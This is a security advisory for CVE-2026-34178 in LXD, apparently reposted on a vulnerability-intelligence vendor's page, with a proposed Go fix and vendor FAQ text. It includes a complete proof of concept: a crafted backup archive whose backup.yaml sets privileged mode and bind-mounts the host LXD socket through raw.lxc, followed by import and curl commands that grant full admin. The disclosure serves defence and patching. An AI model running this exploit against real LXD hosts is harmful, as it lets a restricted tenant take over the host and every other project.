Summary
LXD instance backup import validates project restrictions against backup/index.yaml embedded in the tar archive, but creates the actual instance from backup/container/backup.yaml extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where index.yaml contains clean configuration (passing all restriction checks) while backup.yaml contains security.privileged=true, raw.lxc host filesystem mounts, and restricted device types. The instance is created from the unchecked backup.yaml, bypassing all project restriction enforcement.
Details
LXD projects support a restricted=true mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking security.privileged=true containers, raw.lxc / raw.apparmor overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project.
The backup import path has two distinct configuration sources within a single tar archive:
backup/index.yaml- A quick-access metadata file read bybackup.GetInfo()atbackup/backup_info.go:68. This is the config checked against project restrictions.backup/container/backup.yaml- The full instance configuration extracted to the storage volume and used for actual instance creation atapi_internal.go:784.
The vulnerability exists because:
AllowInstanceCreation()atinstances_post.go:885validates project restrictions using onlybInfo.Configfromindex.yaml.The tar contents (including
backup/container/backup.yaml) are extracted to the storage volume atgeneric_vfs.go:952viaunpackVolume().UpdateInstanceConfig()atbackup_config_utils.go:236readsbackup.yamlfrom storage but only syncsName,Project, pool info, and volume UUIDs - it does not overwriteInstance.ConfigorInstance.Devices.internalImportFromBackup()atapi_internal.go:784readsbackup.yamlfrom the storage mount path (notindex.yaml) to build the instance database record.instance.CreateInternal()atapi_internal.go:946creates the instance using the config frombackup.yaml.CreateInternalcallsValidConfigwhich validates config key format only, not project restriction compliance.
Proof of Concept
Environment setup (server admin)
These steps are performed by the LXD server administrator to set up the
restricted project and grant access to the user. This represents the normal
multi-tenant configuration that the exploit targets.
# Create a restricted project
lxc project create restricted-project \
-c features.images=false \
-c features.profiles=true \
-c restricted=true
# Create a default profile with a root disk in the restricted project
lxc profile device add default root disk \
path=/ pool=default --project restricted-project
# Create a group with instance management permissions in the restricted project
lxc auth group create poc-group
lxc auth group permission add poc-group project restricted-project can_view
lxc auth group permission add poc-group project restricted-project can_create_instances
lxc auth group permission add poc-group project restricted-project can_view_instances
lxc auth group permission add poc-group project restricted-project can_operate_instances
# Create a TLS identity for the attacker, scoped to the group
lxc auth identity create tls/poc-attacker --group poc-group
# The attacker uses it to add the remote:
# lxc remote add target-lxd <token>
After this setup, the attacker can create normal unprivileged instances inrestricted-project but should not be able to create privileged containers,
use raw.lxc, or attach GPU/USB/unix-char devices. The exploit bypasses
all of these restrictions.
Steps
1. Create an instance backup archive locally
The attacker constructs the entire backup archive locally. No access to any
LXD server is needed for this step.
# Create the backup directory structure
mkdir -p backup/container
# Build a minimal rootfs with an init system using debootstrap
sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/
# Create backup index.yaml
cat >backup/index.yaml <<EOF
version: 2
name: escalated-instance
backend: dir
pool: default
type: container
optimized: false
config:
instance:
name: escalated-instance
architecture: x86_64
type: container
config: {}
devices: {}
expanded_config: {}
expanded_devices:
root:
path: /
pool: default
type: disk
profiles:
- default
stateful: false
pools:
- name: default
driver: dir
volumes:
- name: escalated-instance
type: container
pool: default
content_type: filesystem
config:
volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF
# Create malicious `backup/container/backup.yaml`
# This is the file LXD actually uses to create the instance. It contains the
# restricted config and devices that should be blocked by the project. LXD
# never compares this file against `index.yaml` or re-validates it against
# project restrictions.
cat > backup/container/backup.yaml <<EOF
instance:
name: escalated-instance
architecture: x86_64
type: container
config:
security.privileged: "true"
raw.lxc: |
lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
raw.apparmor: ""
devices: {}
expanded_config:
security.privileged: "true"
raw.lxc: |
lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0
raw.apparmor: ""
expanded_devices:
root:
path: /
pool: default
type: disk
profiles:
- default
stateful: false
pools:
- name: default
driver: dir
volumes:
- name: escalated-instance
type: container
pool: default
content_type: filesystem
config:
volatile.uuid: "00000000-0000-0000-0000-000000000000"
EOF
# Package the archive
tar -cf malicious-backup.tar backup/
2. Connect to the target LXD server and import the backup
Connect to the target LXD server and confirm restricted access:
# Add the target server as a remote
lxc remote add target-lxd <token>
# Confirm the attacker's restricted access (command returns restricted=true)
lxc project show target-lxd:restricted-project
# Confirm the attacker can't launch a privileged container (command should fail)
lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true
# Import malicious backup
lxc import target-lxd: malicious-backup.tar --project restricted-project
# Verify the restricted config was accepted into the restricted project
lxc config show target-lxd:escalated-instance --project restricted-project
# Output contains:
# security.privileged: "true"
3. Escalate to full LXD admin
Start the container and use the LXD Unix socket, which was bind-mounted
from the host via raw.lxc. Local connections over the Unix socket are
trusted as full admin with unrestricted access across all projects.
lxc start target-lxd:escalated-instance --project restricted-project
# Query the LXD API via the bind-mounted Unix socket (full admin access)
lxc exec target-lxd:escalated-instance --project restricted-project -- \
curl -s --unix-socket /unix.socket http://localhost/1.0/projects
# From here the attacker has full control: create admin certs, access
# all projects, modify any instance, or mount the host filesystem.
Possible remediation
Add a second AllowInstanceCreation (or checkInstanceRestrictions) call after backup.yaml is read from storage and before CreateInternal is called. In api_internal.go, between the ParseConfigYamlFile call (line 784) and the CreateInternal call (line 946):
// After parsing backup.yaml, re-validate project restrictions
// against the config that will actually be used for instance creation
err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error {
req := api.InstancesPost{
InstancePut: api.InstancePut{
Config: backupConf.Instance.Config,
Devices: backupConf.Instance.Devices,
},
Type: api.InstanceType(backupConf.Instance.Type),
}
return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req)
})
if err != nil {
return fmt.Errorf("Backup config violates project restrictions: %w", err)
}
Impact
The exploit allows full host compromise from within a restricted project.
The requirement is that the user has can_view_instances, can_create_instances and can_operate_instances on the project -- standard permissions for any tenant expected to manage instances.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-34178 has a CVSS score of 9.1 (Critical). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Frequently Asked Questions
- What is CVE-2026-34178? CVE-2026-34178 is a critical-severity improper input validation vulnerability in github.com/canonical/lxd (go), affecting versions >= 0.0.0-20210305023314-538ac3df036e, <= 0.0.0-20260226085519-736f34afb267. No fixed version is listed yet. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-34178? CVE-2026-34178 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/canonical/lxd are affected by CVE-2026-34178? github.com/canonical/lxd (go) versions >= 0.0.0-20210305023314-538ac3df036e, <= 0.0.0-20260226085519-736f34afb267 is affected.
- Is there a fix for CVE-2026-34178? No fixed version is listed for CVE-2026-34178 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-34178 exploitable, and should I be worried? Whether CVE-2026-34178 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34178 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34178? No fixed version is listed yet. In the interim: Validate all external input against an allowlist of expected values, types, and ranges before processing.